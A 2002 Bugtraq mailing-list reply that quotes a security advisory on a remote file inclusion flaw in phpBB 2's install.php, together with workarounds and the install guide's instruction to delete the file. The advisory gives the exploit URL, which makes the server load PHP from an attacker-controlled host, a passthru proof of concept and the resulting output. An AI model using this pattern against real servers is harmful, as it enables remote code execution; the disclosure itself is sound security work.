RE: malicious PHP source injection in phpBB

From: Nathan Anderson (nathanat_private)
Date: Mon Jun 17 2002 - 17:49:33 PDT

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    Morris,
    
    	The install instructions tells you to DELETE the install.php.  :)
    
    Quoting the Installing instructions (INSTALL.html)
    
    "6. Important post-Install tasks for all installation methods
    Once you have succssfully installed phpBB 2.0.0 you MUST ensure you remove
    install.php, upgrade.php and update_to_FINAL.php files. Leaving these in
    place is a very serious potential security issue. Additionally you may
    delete the db/schemas, docs/ and contrib/ directories if you wish.
    
    With these files deleted you should proceed to the administration panel.
    Depending on how the installation completed you may have been directed there
    automatically. If not, login as the administrator you specified during
    install/upgrade and click the "Administration Panel" link at the bottom of
    any page. Ensure that details specified in General -> Configuration are
    correct!"
    
    Nathan.
    
    
    
    -----Original Message-----
    From: morris Chang [mailto:onlookerat_private]
    Sent: Sunday, June 16, 2002 6:30 AM
    To: bugtraqat_private
    Subject: malicious PHP source injection in phpBB
    
    
    JCC Security Advisory
    June 16, 2002
    
    malicious PHP source injection in phpBB
    
    Description
    
    phpBB is one of popular PHP bulletin board systems.
    When allow_url_fopen = On and register_globals = On in php.ini, phpBB has
    vulnerability because install.php contains dangerous codes.
    So an attacker can include any files into server's PHP codes.
    
    Impact
    
    It's tested on phpBB 2.0.1. but I think all of phpBB 2 is affected.
    
    Workaround
    
    allow_url_fopen = off and register_globals = off.
    and if complete install remove or rename install.php.
    Or in install.php
    -------install.php------------
    define('IN_PHPBB', true);
    $phpbb_root_path='./';
    ----------------------------
    Put it
    -------snip-----------------
    $phpbb_root_dir='./';
    ----------------------------
    
    Good idea to code that <<PHP_CODE
    ini_set("register_globals", "Off");
    ini_set ("allow_url_fopen", "Off");
    PHP_CODE
    
    Tested systems
    
    phpBB 2.0.1 Debian GNU/Linux SID(x86)
    
    Background
    
    We checked the vulnerability with
    "http://URL/install.php?phpbb_root_dir=WANTED_TO_INCLUDE" and
     made a sample code, functions_selects.php,
    
    --------------------includes/functions_selects.php--------------
    <? passthru("uname -a"); ?>
    -----------------------------------------
    
    and type the following URL to invoke this sample code.
    
    TEST URL : http://URL/install.php?phpbb_root_dir=http://MYBOX/"
    
    -------out put----------------------------
    Linux cpu 2.4.18-686 #1 Sun Apr 14 11:32:47 EST 2002 i686 unknown
    Warning: Cannot add header information - headers already sent by (output
    started at http://210.117.152.118:6969/includes/functions_selects.php:1) in
    /home/morris/public_html/tmp/phpBB2/includes/sessions.php on line 182
    
    Warning: Cannot add header information - headers already sent by (output
    started at http://210.117.152.118:6969/includes/functions_selects.php:1) in
    /home/morris/public_html/tmp/phpBB2/includes/sessions.php on line 183
    
    Warning: Cannot add header information - headers already sent by (output
    started at http://210.117.152.118:6969/includes/functions_selects.php:1) in
    /home/morris/public_html/tmp/phpBB2/install.php on line 346
    -----------------------------------------
    
    thx for BlackKnight at r0ar
    ---
    http://jcc.hackerslab.org(at morris Chang)
    
    e-mail : morrisat_private
    



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